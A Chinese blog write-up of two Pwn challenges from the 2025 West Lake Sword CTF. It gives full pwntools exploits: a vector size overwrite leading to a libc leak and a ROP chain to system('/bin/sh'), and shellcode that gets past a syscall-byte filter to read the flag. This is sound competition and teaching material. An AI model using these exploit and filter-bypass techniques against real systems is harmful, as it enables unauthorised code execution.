2025第八届西湖论剑网络安全技能大赛WriteUp—Pwn篇

欢迎关注公众号【Real返璞归真】不定时更新网络安全相关技术文章:

img

公众号回复【2025西湖论剑】获取全部Writeup(pdf版)和Pwn附件下载地址。

Pwn

VPwn

拖入IDA分析,发现是对一个vetcor进行push、pop、print和edit操作。

image-20250118155731393

vector+24位置存储了vector的size大小:

image-20250118155824712

每次push元素时会+1,pop时会-1,print会根据这个大小从vector+0的位置以4字节为单位打印数据,edit也会根据这个size检查下标是否合法。

[vector+0, vector+24)为数据区域,共24字节大小,由于每个元素大小为4字节,因此可以存储6个元素。

但push操作没有对元素个数进行检查,如果我们push第7个元素,则会直接覆盖size,实现对size的任意修改。

先将size修改为很大的数:

# size->100
for i in range(7):
    p.sendlineafter(b'choice: ', b'2')
    p.sendlineafter(b'push: ', b'100')

然后调用print,由于size很大,会输出从vector开始的一堆栈上数据。

通过动态调试发现vector附近位置存在libc地址,计算偏移后得到libc基地址。由于输出以4字节为单位,我们需要对高4字节部分左移并加上低4字节部分。

计算偏移后得到libc基地址:

# leak libc
p.sendlineafter(b'choice: ', b'4')
p.recvuntil(b'contents: ')
msg = p.recvuntil(b'\n').split(b' ')

libc_base = (int(msg[19]) << 32) + (int(msg[18]) & 0xffffffff) - 0x29d90
libc.address = libc_base
success("libc_base = " + hex(libc_base))
ret = libc_base + 0x29139
pop_rdi = libc_base + 0x2a3e5
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']

由于size很大,且vector在栈上,我们可以通过edit在栈上任意写。

直接计算偏移地址后在返回地址位置写ret(movaps对齐) -> pop_rdi -> binsh -> system即可。

同样,每次只能写4字节,因此一个地址需要分2次写入,先写入低地址部分,后写入高地址部分。

edit(18, str(ret & 0xFFFFFFFF).encode())
edit(19, str((ret >> 32) & 0xFFFFFFFF).encode())
edit(20, str(pop_rdi & 0xFFFFFFFF).encode())
edit(21, str((pop_rdi >> 32) & 0xFFFFFFFF).encode())
edit(22, str(binsh & 0xFFFFFFFF).encode())
edit(23, str((binsh >> 32) & 0xFFFFFFFF).encode())
edit(24, str(system & 0xFFFFFFFF).encode())
edit(25, str((system >> 32) & 0xFFFFFFFF).encode())

完整exp:

from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
p = process([elf.path])

context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

# size->100
for i in range(7):
    p.sendlineafter(b'choice: ', b'2')
    p.sendlineafter(b'push: ', b'100')

# leak libc
p.sendlineafter(b'choice: ', b'4')
p.recvuntil(b'contents: ')
msg = p.recvuntil(b'\n').split(b' ')

libc_base = (int(msg[19]) << 32) + (int(msg[18]) & 0xffffffff) - 0x29d90
libc.address = libc_base
success("libc_base = " + hex(libc_base))
ret = libc_base + 0x29139
pop_rdi = libc_base + 0x2a3e5
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']

def edit(idx, content):
    p.sendlineafter(b'choice: ', b'1')
    p.sendlineafter(b'edit (0-based): ', str(idx).encode())
    p.sendlineafter(b'new value: ', content)

# ret_addr -> system("/bin/sh")
# gdb.attach(p, 'b *$rebase(0x1513)\nc')
# pause()

edit(18, str(ret & 0xFFFFFFFF).encode())
edit(19, str((ret >> 32) & 0xFFFFFFFF).encode())
edit(20, str(pop_rdi & 0xFFFFFFFF).encode())
edit(21, str((pop_rdi >> 32) & 0xFFFFFFFF).encode())
edit(22, str(binsh & 0xFFFFFFFF).encode())
edit(23, str((binsh >> 32) & 0xFFFFFFFF).encode())
edit(24, str(system & 0xFFFFFFFF).encode())
edit(25, str((system >> 32) & 0xFFFFFFFF).encode())

# gdb.attach(p, 'b *$rebase(0x17D0)\nc')
# pause()

p.sendlineafter(b'choice: ', b'5')

p.interactive()

Heaven’s door

拖入IDA分析,发现mmap开辟了一个可执行空间,允许读入shellcode并执行:

image-20250118151635049

但限制了0x05 0x0f(syscall的机器码)最多使用2次:

image-20250118151700901

查看沙箱保护:

image-20250118151728352

可以直接orw使用open + mmap映射 + write,但是会用到3次syscall无法通过程序的检查。

绕过方法:

  1. 前两次open和mmap正常使用syscall
  2. 第三次write,用\x90对齐机器码后,在syscall的位置写入高位0x05,用汇编命令在rip寄存器指向的低位补0x0f即可正常执行syscall(0x05 0x0f)。

完整exp:

from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
p = process([elf.path])
p = remote("139.155.126.78", 31021)

context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

shellcode = asm(shellcraft.open('flag', 0, 0))
shellcode += asm(shellcraft.mmap(0x20000, 0x1000, 1, 1, 'rax', 0))
shellcode += asm('''
mov rax,1
mov rdi,1
mov rsi,0x20000
mov rdx,0x50
mov byte ptr [rip],0x0f
''') + b'\x90\x05'

# gdb.attach(p)
# pause()

p.send(shellcode)

p.interactive()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值